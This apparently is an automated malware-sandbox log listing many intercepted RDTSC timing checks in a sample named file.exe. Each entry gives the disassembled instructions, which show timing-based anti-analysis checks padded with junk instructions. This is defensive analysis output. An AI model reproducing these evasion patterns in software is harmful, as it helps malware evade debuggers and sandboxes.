Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D306D2 second address: D306DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F9C04B939F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D306DC second address: D3070E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D2Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9C04EA4D32h 0x00000012 jmp 00007F9C04EA4D2Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3070E second address: D30712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3098A second address: D30993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30993 second address: D309B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jmp 00007F9C04B93A08h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D309B3 second address: D309BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30B19 second address: D30B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30B1D second address: D30B36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F9C04EA4D31h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30C69 second address: D30CA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B939FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F9C04B939FCh 0x0000000f popad 0x00000010 jp 00007F9C04B93A0Eh 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 jo 00007F9C04B939F6h 0x0000001f popad 0x00000020 jng 00007F9C04B939FEh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38925 second address: D38936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F9C04EA4D26h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3696E second address: D36983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04B93A01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36983 second address: D369B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007F9C04EA4D26h 0x00000009 pop eax 0x0000000a jmp 00007F9C04EA4D31h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9C04EA4D36h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D369B8 second address: D369C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04B939FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36B62 second address: D36B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F9C04EA4D26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36B6D second address: D36B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04B939FAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36B80 second address: D36B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36B86 second address: D36B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36FCF second address: D36FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36FD3 second address: D36FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D372D4 second address: D372E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 je 00007F9C04EA4D26h 0x0000000d pop edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D375B1 second address: D375B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D375B7 second address: D375C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3801D second address: D38021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3651A second address: D36538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9C04EA4D2Ah 0x0000000b jmp 00007F9C04EA4D2Dh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D535 second address: D3D53B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D53B second address: D3D53F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D53F second address: D3D543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D40CBD second address: D40CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F9C04EA4D33h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D40CD7 second address: D40D03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C04B93A00h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jnc 00007F9C04B939F6h 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007F9C04B939F6h 0x0000001f push esi 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D40D03 second address: D40D1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D34h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BD13 second address: D4BD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BD19 second address: D4BD28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F9C04EA4D26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BD28 second address: D4BD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BD2E second address: D4BD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F9C04EA4D26h 0x0000000d jmp 00007F9C04EA4D37h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E915 second address: C8E91F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B9E7 second address: D4BA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D35h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BA00 second address: D4BA04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BA04 second address: D4BA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BA10 second address: D4BA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BA14 second address: D4BA18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53359 second address: D53377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B93A06h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D534BC second address: D534C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D534C0 second address: D534C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D534C6 second address: D534D1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007F9C04EA4D26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F615 second address: D5F625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F9C04B939F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F625 second address: D5F63E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D33h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F63E second address: D5F642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69BE0 second address: D69BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69BE6 second address: D69BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69BEC second address: D69C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D2Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F9C04EA4D26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69C05 second address: D69C0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69C0D second address: D69C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69C13 second address: D69C33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9C04B93A03h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D684EB second address: D684F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6868E second address: D68698 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68698 second address: D686A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9C04EA4D26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D686A4 second address: D686A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D686A8 second address: D686AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68825 second address: D6884A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B93A03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F9C04B939FEh 0x0000000f jno 00007F9C04B939F6h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6884A second address: D6886C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04EA4D33h 0x00000009 jmp 00007F9C04EA4D2Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6886C second address: D68870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68C7F second address: D68C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68C85 second address: D68C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68C8B second address: D68C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68F44 second address: D68F5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C04B939FAh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68F5A second address: D68F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68F5E second address: D68F6F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68F6F second address: D68F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9C04EA4D26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68F79 second address: D68F8D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007F9C04B939F6h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6990E second address: D69914 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DA1A second address: D6DA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9C04B93A07h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DA36 second address: D6DA3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DA3B second address: D6DA84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9C04B939F6h 0x0000000a jmp 00007F9C04B93A07h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F9C04B939FDh 0x00000016 jmp 00007F9C04B93A07h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A2DE second address: D8A2E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89E07 second address: D89E0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89E0B second address: D89E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F5F8 second address: D9F620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F9C04B93A01h 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jg 00007F9C04B939F6h 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F620 second address: D9F626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F626 second address: D9F62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F62C second address: D9F631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F631 second address: D9F637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F637 second address: D9F63D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FCF6 second address: D9FD02 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C04B939FEh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FE92 second address: D9FE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FFD8 second address: D9FFDF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FFDF second address: D9FFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F9C04EA4D28h 0x0000000f jl 00007F9C04EA4D28h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FFF8 second address: DA0010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04B93A04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA01A1 second address: DA01A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA01A7 second address: DA01AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA01AC second address: DA01DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D37h 0x00000007 pushad 0x00000008 jmp 00007F9C04EA4D33h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7246 second address: DA7250 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7250 second address: DA7256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7328 second address: DA732C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7571 second address: DA7575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7575 second address: DA75E6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007F9C04B939F6h 0x0000000d pop eax 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push edx 0x00000013 jbe 00007F9C04B939FCh 0x00000019 mov edx, dword ptr [ebp+122D38A2h] 0x0000001f pop edx 0x00000020 push 00000004h 0x00000022 jnc 00007F9C04B939F8h 0x00000028 call 00007F9C04B939F9h 0x0000002d jmp 00007F9C04B939FFh 0x00000032 push eax 0x00000033 push ebx 0x00000034 push edi 0x00000035 jmp 00007F9C04B93A03h 0x0000003a pop edi 0x0000003b pop ebx 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 jmp 00007F9C04B939FCh 0x00000045 mov eax, dword ptr [eax] 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA75E6 second address: DA75F3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9091 second address: DA90A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007F9C04B939F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8C87 second address: DA8C9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D33h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390275 second address: 539029A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bh 0x00000005 push esi 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F9C04B939FAh 0x00000010 push eax 0x00000011 jmp 00007F9C04B939FBh 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539030E second address: 5390312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390312 second address: 5390316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390316 second address: 539031C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
